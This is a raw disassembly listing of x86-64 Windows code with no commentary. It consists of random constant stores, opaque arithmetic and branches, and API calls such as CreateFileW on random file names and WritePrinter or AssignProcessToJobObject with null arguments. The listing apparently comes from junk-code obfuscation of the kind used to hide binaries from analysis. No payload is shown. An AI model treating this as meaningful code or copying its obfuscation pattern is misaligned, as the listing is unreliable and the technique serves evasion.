movabs rax, 0x7240147a8f4476
mov qword [rsp + 0x95e0], rax
movabs rax, 0x75237d1d3d0f14
mov qword [rsp + 0x95e8], rax
mov dword [rsp + 0x45ac], 0xbd7b
mov byte [rsp + 0x33e], reloc.SHELL32.dll_ILClone
mov byte [rsp + 0x33f], 0x1e
mov eax, 0xfc
mov word [rsp + 0x1c50], ax
mov eax, 0xb8f
mov word [rsp + 0x1c54], ax
mov dword [rsp + 0x45b0], 0x21482e33
mov byte [rsp + 0x340], 0x41
movabs rax, 0x7bfd1d86711921
mov qword [rsp + 0x95f0], rax
mov eax, 0x601
mov word [rsp + 0x1c58], ax
mov dword [rsp + 0x45b4], 0x7c32
mov dword [rsp + 0x45b8], 0xeb9c
movabs rax, 0x7911bc3990a907
mov qword [rsp + 0x95f8], rax
movabs rax, 0x7d76e41cc58db9
mov qword [rsp + 0x9600], rax
mov dword [rsp + 0x45bc], 0x3e23
movabs rax, 0x7c42f53d115ae5
mov qword [rsp + 0x9608], rax
mov byte [rsp + 0x341], 0x21
mov eax, 0x1d
mov word [rsp + 0x1c5c], ax
mov eax, 0x141
mov word [rsp + 0x1c60], ax
mov eax, 0x1ef
mov word [rsp + 0x1c64], ax
mov eax, 0x3bc
mov word [rsp + 0x1c68], ax
movabs rax, 0x783e9052c2ec02
mov qword [rsp + 0x9610], rax
movabs rax, 0x768be1dccb82f7
mov qword [rsp + 0x9618], rax
movabs rax, 0x7c59023f675b84
mov qword [rsp + 0x9620], rax
mov dword [rsp + 0x45c0], 0x9a5d
mov dword [rsp + 0x45c4], 0x7673
movabs rax, 0x75adfe41f8e63f
mov qword [rsp + 0x9628], rax
movabs rax, 0x7e8501b3151625
mov qword [rsp + 0x9630], rax
mov dword [rsp + 0x45c8], 0x5a3351e9
mov eax, 0x3bd
mov word [rsp + 0x1c6c], ax
movabs rax, 0x73269742880f05
mov qword [rsp + 0x9638], rax
mov dword [rsp + 0x45cc], 0x8496
movabs rax, 0x7628c07dda8fbe
mov qword [rsp + 0x9640], rax
mov eax, 0xe0
mov word [rsp + 0x1c70], ax
mov eax, 0x20b
mov word [rsp + 0x1c74], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.UXhjsExFXu
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9648], rax
movabs rax, 0x7dfc9b65e8ebba
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0x9650]
mov qword [0x14022b808], rax
movzx eax, byte [rsp + 0xa9]
add eax, 0x5c
mov byte [rsp + 0xa9], al
mov dword [rsp + 0x45d0], 0xd3f4
mov dword [rsp + 0x45d4], 0x96d4
movzx eax, byte [rsp + 0xa9]
cmp eax, 0x5f
jne 0x14001f088
movzx eax, byte [rsp + 0xa9]
sub eax, 0xc6
mov byte [rsp + 0xa9], al
call fcn.14017d040
mov dword [rsp + 0x45d8], 0x1b8d526c
movzx eax, byte [rsp + 0xa9]
and eax, 0x46
cmp eax, 0x48
jle 0x14001f0d5
mov rax, qword [rsp + 0x9650]
shr rax, 0x37
mov qword [0x14022b808], rax
mov rcx, qword [rsp + 0x9658]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x45dc], eax
mov dx, 0x44
mov cl, SHGetNewLinkInfoW
call fcn.14017d0e0
movsx eax, byte [rsp + 0x129]
or eax, 0x77
mov byte [rsp + 0x129], al
movabs rax, 0x7efb7f5bcc7126
mov qword [rsp + 0x9660], rax
lea rax, [rsp + 0x9660]
mov qword [rsp + 0x9668], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x45e0], 0x9775
mov eax, dword [rsp + 0x45d8]
xor eax, 0x51435ffb
mov dword [rsp + 0x45c8], eax
mov rax, qword [rsp + 0x9650]
mov qword [rsp + 0x9670], rax
mov eax, dword [rsp + 0x45c8]
shl eax, 1
mov dword [rsp + 0x45d8], eax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x9650]
add rcx, rax
mov rax, rcx
mov qword [0x14022b808], rax
movabs rax, 0x72f5de5011808c
mov rcx, qword [rsp + 0x9660]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov eax, dword [rsp + 0x45c8]
sar eax, 6
mov dword [rsp + 0x45d8], eax
movabs rax, 0x7d8c6db23e85f5
mov rcx, qword [rsp + 0x9660]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x9650]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9670], rax
movzx eax, byte [rsp + 0xa9]
xor eax, 0x23
mov byte [rsp + 0xa9], al
movsx eax, byte [rsp + 0x129]
shl eax, 4
mov byte [rsp + 0x129], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x59a9
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45e4], eax
movzx eax, byte [rsp + 0xa9]
mov byte [rsp + 0xa9], al
lea rcx, [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [rsp + 0x9680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x9670]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0x9670]
movzx ecx, al
mov rax, qword [rsp + 0x9650]
shr rax, cl
mov qword [0x14022b808], rax
mov rax, qword [rsp + 0x9668]
movabs rcx, 0x72072a539f98ee
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9660], rax
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x9650]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9670], rax
movzx eax, byte [rsp + 0xa9]
and eax, 0x28
mov byte [rsp + 0xa9], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xf520
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45e8], eax
mov eax, dword [rsp + 0x45c8]
sar eax, 0xd
mov dword [rsp + 0x45d8], eax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x9670]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0x9668]
movabs rcx, 0x7de70716cfa782
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9660], rax
mov eax, dword [rsp + 0x45d4]
add eax, 0xec
mov dword [rsp + 0x45d4], eax
movabs rax, 0x75d666d1c1bc4a
mov rcx, qword [rsp + 0x9660]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
lea rdx, [rsp + 0x45e4]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45ec], eax
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x9650]
xor rcx, rax
mov rax, rcx
mov qword [0x14022b808], rax
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [rsp + 0x9690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9660]
shl rax, 0x36
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
sar rax, 0x38
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa9]
add eax, 0x2c
mov byte [rsp + 0xa9], al
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x9670]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
movsx eax, byte [rsp + 0x129]
add eax, 0x11
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x9668]
movabs rcx, 0x7ac304a521722c
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x9670]
movzx ecx, al
mov rax, qword [rsp + 0x9650]
shr rax, cl
mov qword [0x14022b808], rax
cmp dword [rsp + 0x45d4], 0xdfa8
jbe 0x14001f141
mov eax, dword [rsp + 0x45c8]
cdq
mov ecx, 0x7b1cb6da
idiv ecx
cmp eax, dword [rsp + 0x45d8]
jne 0x14001f59b
lea r9, [rsp + 0xa9]
mov r8d, 0x96
lea rdx, [rsp + 0x9650]
mov rcx, qword [rsp + 0x9698]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x45f0], eax
mov rax, qword [rsp + 0x9660]
shl rax, 0x13
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rdx, qword [rsp + 0x9660]
mov ecx, 0x42
call fcn.14017d120
jmp 0x14017cf6a
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x9650]
sub rcx, rax
mov rax, rcx
cmp rax, qword [0x14022b808]
ja 0x14017cf6a
mov eax, dword [rsp + 0x45d8]
cdq
mov ecx, 0x571da5b1
idiv ecx
cmp eax, dword [rsp + 0x45c8]
jne 0x14001f622
mov rax, qword [0x14022b808]
movzx ecx, al
mov rax, qword [rsp + 0x9650]
shr rax, cl
mov qword [rsp + 0x9670], rax
movsx eax, byte [rsp + 0x129]
and eax, 0x67
mov byte [rsp + 0x129], al
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x9670]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9650], rax
lea rax, [rsp + 0xa9]
mov qword [rsp + 0x96a0], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x140229f20], rax
mov eax, 0x6a
mov word [rsp + 0x1c78], ax
xor edx, edx
mov eax, dword [rsp + 0x447c]
mov ecx, 0x9d24
div ecx
mov dword [rsp + 0x447c], eax
mov eax, 0xc68
mov word [rsp + 0x1c7c], ax
lea rax, [rsp + 0x1c78]
mov qword [rsp + 0x96a8], rax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov qword [rsp + 0x96b0], rax
movabs rax, 0x72dd38569ec862
cmp qword [rsp + 0x96b0], rax
je 0x14001f6e8
movabs rax, 0x7d3b8ccd4ee0e7
cmp qword [rsp + 0x96b0], rax
je 0x14001f6d0
jmp 0x14001f77b
mov edx, dword [rsp + 0x447c]
mov ecx, dword [rsp + 0x447c]
call fcn.14017cfe0
jmp 0x14001f77b
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
lea r9, [rsp + 0x447c]
mov r8d, 0xf9
lea rdx, [rsp + 0x9668]
mov rcx, qword [rsp + 0x96b8]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x45f4], eax
movzx eax, word [rsp + 0x1c7c]
add eax, 0xb40
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
sub eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov edx, dword [rsp + 0x45c8]
mov ecx, dword [rsp + 0x45d8]
call fcn.14017d0b0
mov rax, qword [0x140229f20]
movzx ecx, al
mov rax, qword [rsp + 0x9660]
sar rax, cl
mov qword [rsp + 0x82e8], rax
movzx eax, byte [rsp + 0x129]
mov byte [0x14022b810], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.FJRSMSnLScEr0c7s6_rn7Aw6uz0C6
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x96c0], rax
mov rax, qword [rsp + 0x9650]
mov rcx, qword [0x14022b808]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9670], rax
mov eax, dword [rsp + 0x447c]
shl eax, 0xf
mov dword [rsp + 0x447c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
or eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1c7c]
and eax, 0x139
mov word [rsp + 0x1c7c], ax
mov rax, qword [0x140229f20]
mov rcx, qword [rsp + 0x9660]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x82e8], rax
mov eax, dword [rsp + 0x45d8]
add eax, 0x2a39a73e
mov dword [rsp + 0x45c8], eax
movzx eax, byte [rsp + 0xa9]
sar eax, 3
mov rcx, qword [rsp + 0x96a0]
mov byte [rcx], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x4988
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45e4], eax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
and eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9650]
mov rcx, qword [rsp + 0x9670]
sub rcx, rax
mov rax, rcx
mov qword [0x14022b808], rax
movsx eax, byte [0x14022b810]
add eax, 0x59
mov byte [rsp + 0x129], al
movsx eax, word [rsp + 0x1c78]
and eax, 0x279
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1c78]
add eax, 0x17c
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
sar eax, 7
mov word [rsp + 0x1c78], ax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x82e8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9660], rax
movzx eax, word [rsp + 0x1c7c]
shl eax, 0xb
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x82e8], rax
movzx eax, word [rsp + 0x1c7c]
sub eax, 0x8eb
mov word [rsp + 0x1c7c], ax
movsx eax, word [rsp + 0x1c78]
and eax, 0x4a9
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x82e8]
mov rcx, qword [rsp + 0x9660]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
movsx eax, byte [0x14022b810]
sar eax, 3
mov byte [rsp + 0x129], al
mov eax, dword [rsp + 0x45d0]
add eax, 0x83
mov dword [rsp + 0x45d0], eax
mov eax, dword [rsp + 0x447c]
add eax, 0xc844
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
and eax, 0xe6
mov byte [rsp + 0xa9], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov eax, dword [rsp + 0x45d8]
sub eax, 0x5f2debc0
mov dword [rsp + 0x45c8], eax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
add eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
lea rdx, [rsp + 0x45f8]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e8], eax
mov rax, qword [0x140229f20]
mov rcx, qword [rsp + 0x9660]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x82e8], rax
cmp dword [rsp + 0x45d0], 0x10079
jne 0x14001f7e2
lea rax, [rsp + 0x1c7c]
mov qword [rsp + 0x96c8], rax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
cdq
idiv ecx
mov word [0x140229f28], ax
mov rax, qword [rsp + 0x82e8]
mov qword [rsp + 0x96d0], rax
cmp dword [rsp + 0x447c], 0x68e1
je 0x14017ce8e
movzx eax, word [rsp + 0x1c7c]
mov word [rsp + 0x1c80], ax
mov dword [rsp + 0x45fc], 0x567c
mov dword [rsp + 0x4600], 0xda27
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140229f20]
sar rax, cl
mov qword [rsp + 0x9660], rax
movzx eax, byte [rsp + 0x129]
mov byte [0x14022b811], al
mov dword [rsp + 0x4604], 0x599
mov dword [rsp + 0x4608], 0x5f91
movzx eax, word [rsp + 0x1c80]
movzx ecx, word [rsp + 0x1c7c]
imul eax, ecx
mov word [rsp + 0x1a90], ax
lea rax, [0x14022b810]
mov qword [rsp + 0x96d8], rax
lea rax, [rsp + 0x447c]
mov qword [rsp + 0x96e0], rax
mov eax, dword [rsp + 0x45c8]
mov dword [rsp + 0x460c], eax
lea rax, [rsp + 0xa9]
mov qword [rsp + 0x96e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.7jx8i4_an
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x96f0], rax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c80]
sub eax, ecx
movzx ecx, word [rsp + 0x1c7c]
movzx edx, word [0x140229f28]
and ecx, edx
cmp eax, ecx
jg 0x14001fcaa
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x9650]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8500], rax
mov rax, qword [rsp + 0x96a8]
movzx eax, word [rax]
mov word [rsp + 0x1c84], ax
mov dword [rsp + 0x4610], 0x2fa0
movzx eax, word [rsp + 0x1c84]
mov word [rsp + 0x1c88], ax
lea rax, [rsp + 0x9650]
mov qword [0x14022b818], rax
jmp 0x14001fd9d
mov rax, qword [rsp + 0x9650]
mov rcx, qword [rsp + 0x9670]
add rcx, rax
mov rax, rcx
cmp rax, qword [0x14022b808]
jbe 0x14001fd37
lea rdx, [rsp + 0x45d8]
mov rcx, qword [rsp + 0x96f8]
call qword [sym.imp.USER32.dll_KillTimer]
mov dword [rsp + 0x45dc], eax
mov rax, qword [rsp + 0x9660]
mov rcx, qword [rsp + 0x9668]
mov qword [rsp + 0x9700], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9700]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96c8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x96d8]
movzx ecx, byte [rax]
call fcn.14017d0e0
jmp 0x14001fd9d
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c80]
xor eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
mov rax, qword [0x14022b818]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9670]
shr rax, cl
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0x96e0]
mov eax, dword [rax]
mov dword [rsp + 0x4614], eax
lea rcx, [rsp + 0x447c]
call qword [sym.imp.USER32.dll_GetProcessDefaultLayout]
mov dword [rsp + 0x45dc], eax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x129]
imul eax, ecx
mov byte [rsp + 0x186], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x447c]
mov eax, dword [rax]
and eax, ecx
cmp eax, dword [rsp + 0x4614]
jae 0x14001fdff
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [rsp + 0x1c88]
sub eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
jmp 0x14001fe6c
mov rax, qword [rsp + 0x96d0]
mov rcx, qword [rsp + 0x82e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9668]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x9660]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14001fe6c
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9660]
sar rax, cl
mov qword [rsp + 0x96d0], rax
movzx edx, word [rsp + 0x1c7c]
mov rax, qword [rsp + 0x96d8]
movzx ecx, byte [rax]
call fcn.14017d0e0
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov word [rsp + 0x1c8c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9708], rax
mov dword [rsp + 0x4618], 0xe0d2
movsx eax, byte [0x14022b810]
movsx ecx, byte [rsp + 0x129]
imul eax, ecx
movsx ecx, byte [rsp + 0x186]
mov rdx, qword [rsp + 0x96d8]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jge 0x14001ff0e
mov rax, qword [0x140229f20]
mov rcx, qword [rsp + 0x82e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96e8]
mov byte [rcx], al
jmp 0x14017cdd0
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0x9670]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8500], rax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x129]
sub eax, ecx
mov byte [rsp + 0x186], al
mov eax, dword [rsp + 0x447c]
mov dword [rsp + 0x4614], eax
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0x9670]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1c88]
and eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x96d0]
movzx ecx, al
mov rax, qword [rsp + 0x9660]
sar rax, cl
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c8c]
sub eax, ecx
mov word [rsp + 0x1c7c], ax
mov eax, dword [rsp + 0x45fc]
sub eax, 0x8a
mov dword [rsp + 0x45fc], eax
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x447c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4614], eax
movsx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [0x14022b808]
movzx ecx, al
mov rax, qword [rsp + 0x8500]
shl rax, cl
mov qword [rsp + 0x9670], rax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c84]
xor eax, ecx
mov word [rsp + 0x1c78], ax
cmp dword [rsp + 0x45fc], 0x31d4
jae 0x14001ff1c
lea rax, [rsp + 0x82e8]
mov qword [rsp + 0x9710], rax
mov rax, qword [rsp + 0x96e0]
mov eax, dword [rax]
mov dword [rsp + 0x461c], eax
cmp dword [rsp + 0x461c], 0xf8ae
je 0x140020184
cmp dword [rsp + 0x461c], 0x6422c844
je 0x1400200b5
jmp 0x14002019c
mov rax, qword [rsp + 0x96d0]
mov qword [rsp + 0x9718], rax
cmp qword [rsp + 0x9718], 0
je 0x1400200e9
movabs rax, 0x73ee7c2b6db98d
cmp qword [rsp + 0x9718], rax
je 0x140020138
jmp 0x140020173
lea rax, [rsp + 0x1a90]
mov qword [rsp + 0x9720], rax
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9660]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x96d0], rax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x19f], al
jmp 0x140020173
mov eax, dword [rsp + 0x460c]
mov ecx, dword [rsp + 0x45c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x45d8], eax
lea r8, [rsp + 0x1e8f0]
mov edx, 2
mov rcx, qword [rsp + 0x9728]
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
mov dword [rsp + 0x4620], eax
mov rax, qword [0x14022b808]
mov qword [rsp + 0x9730], rax
jmp 0x14002019c
movzx edx, word [rsp + 0x1a90]
mov rax, qword [rsp + 0x96d8]
movzx ecx, byte [rax]
call fcn.14017d0e0
mov rax, qword [rsp + 0x96e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4614]
and ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x447c]
je 0x14017cc6c
mov rax, qword [rsp + 0x8500]
movzx ecx, al
mov rax, qword [rsp + 0x9730]
shr rax, cl
mov rcx, qword [rsp + 0x9670]
mov rdx, qword [rsp + 0x9650]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x14017cb5d
mov eax, dword [rsp + 0x45c8]
mov dword [rsp + 0x4624], eax
cmp dword [rsp + 0x4624], 0x3f0150d2
je 0x140020224
cmp dword [rsp + 0x4624], 0x432b00b3
je 0x14002029f
jmp 0x1400202de
mov dword [rsp + 0x30], 0x8a
mov dword [rsp + 0x28], 0x6f
mov dword [rsp + 0x20], 0x8e
mov r9d, 0x9e
mov r8d, 0x67
mov rdx, qword [rsp + 0x9738]
mov rcx, qword [rsp + 0x9738]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov dword [rsp + 0x4620], eax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
movzx edx, word [rsp + 0x1c80]
movzx ecx, byte [rsp + 0x129]
call fcn.14017d0e0
jmp 0x1400202de
movzx eax, word [rsp + 0x1a90]
movzx ecx, word [rsp + 0x1c8c]
add eax, ecx
mov word [0x140229f28], ax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9668]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x96d0], rax
call fcn.14017d040
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0x186]
cdq
idiv ecx
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
mov dword [rsp + 0x4628], ecx
movsx edx, byte [0x14022b811]
movzx ecx, dl
mov edx, dword [rsp + 0x4628]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14002033d
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x96d0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov dword [rsp + 0x462c], 0x3f65
mov rax, qword [0x140229f20]
mov qword [rsp + 0x9740], rax
movabs rax, 0x77cdb353ed7e6a
cmp qword [rsp + 0x9740], rax
je 0x14002036d
jmp 0x1400203d5
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19f]
add eax, ecx
mov byte [rsp + 0xa9], al
mov dword [rsp + 0x28], 0xa7
mov dword [rsp + 0x20], 0x38
lea r9, [rsp + 0x9668]
lea r8, [rsp + 0x9728]
mov edx, 0xe4
mov ecx, 0x76
call qword [sym.imp.USER32.dll_ToUnicode]
mov dword [rsp + 0x4630], eax
mov edx, dword [rsp + 0x460c]
mov ecx, dword [rsp + 0x460c]
call fcn.14017d0b0
jmp 0x140020446
lea rax, [rsp + 0x1a90]
mov qword [rsp + 0x9748], rax
mov eax, dword [rsp + 0x4614]
mov ecx, dword [rsp + 0x447c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4374], eax
lea rax, [rsp + 0x129]
mov qword [rsp + 0x9750], rax
lea rax, [rsp + 0x8500]
mov qword [rsp + 0x9758], rax
